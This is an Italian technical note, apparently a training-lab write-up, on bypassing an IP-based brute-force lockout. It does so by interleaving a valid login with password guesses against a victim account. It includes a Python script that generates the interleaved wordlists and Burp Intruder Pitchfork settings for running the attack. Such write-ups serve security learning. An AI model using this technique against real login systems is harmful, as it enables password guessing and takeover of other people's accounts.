tags : Logic_Flaw_Authentication_Failure Authentication_Bypass


Può capitare che come blocco per evitare attacchi bruteforce venga inserito un blocco dell’indirizzo IP ogni tot tentativi, ma può succedere anche che se ogni due tentativi vengono inserite delle credenziali corrette il blocco si resetta permettendo all’attaccante di eseguire senza troppi problemi l’attacco. Infatti ci è sufficiente creare due wordlist una per gli username e una per le password che abbiano all’interno ogni due tentativi le credenziali corrette in modo da far autenticare ogni due tentativi il nostro indirizzo IP e bypassare così il blocco, per creare queste wordlist possiamo utilizzare Python, nel seguente esempio di script possiamo creare una wordlist username con ogni due carlos un wiener dove wiener è l’username che ci serve per accedere con il nostro account e carlos è l’username della vittima e per la password utilizziamo una wordlist che ogni due tentativi ci inserisce la password dell’utente wiener, la wordlist si deve chiamare passwords.txt e deve essere nella stessa cartella dello script:

# Nome del file originale contenente le password da testare
file_password_originale = 'passwords.txt' 
 
# Credenziali corrette
username_corretto = 'wiener'
password_corretta = 'peter'
 
# Credenziali da usare per i tentativi falliti
username_fallito = 'carlos'
 
# Nomi dei file di output
file_username_output = 'username_finali.txt'
file_password_output = 'password_finali.txt'
 
print(f"[*] Leggo le password da '{file_password_originale}'...")
 
try:
    with open(file_password_originale, 'r') as f:
        # Legge tutte le password dal file e rimuove spazi/a capo extra
        passwords = [line.strip() for line in f.readlines()]
except FileNotFoundError:
    print(f"[!] Errore: Il file '{file_password_originale}' non è stato trovato.")
    print("[!] Assicurati di avere un file con questo nome nella stessa cartella dello script.")
    exit()
 
# Apriamo i file di output in modalità scrittura ('w')
with open(file_username_output, 'w') as f_user, open(file_password_output, 'w') as f_pass:
    
    # Iteriamo sulla lista di password a blocchi di due
    for i in range(0, len(passwords), 2):
        
        # Blocco di password da testare (le prossime due dalla lista)
        blocco_passwords = passwords[i:i+2]
        
        # Scriviamo i due tentativi falliti
        f_user.write(f"{username_fallito}\n")
        f_user.write(f"{username_fallito}\n")
        
        # Scriviamo la prima password del blocco
        f_pass.write(f"{blocco_passwords[0]}\n")
        
        # Potremmo non avere una seconda password se il totale è dispari
        if len(blocco_passwords) > 1:
            f_pass.write(f"{blocco_passwords[1]}\n")
        else:
            # Se le password sono dispari, usiamo una password fittizia per il secondo tentativo
            f_pass.write("password_fittizia\n")
            
        # Scriviamo il tentativo corretto che resetta il blocco
        f_user.write(f"{username_corretto}\n")
        f_pass.write(f"{password_corretta}\n")
 
print(f"[*] Fatto! Create le liste:")
print(f"    -> Username: '{file_username_output}'")
print(f"    -> Password: '{file_password_output}'")

Una volta ottenute le due wordlist possiamo fare un attacco tramite Intruder PitchFork aggiungendo come opzione Resource pool  Maximum concurrent requests set to 1 in modo da fare una richiesta alla volta altrimenti di default ce ne compie 10 ed andremo ad attivare il blocco.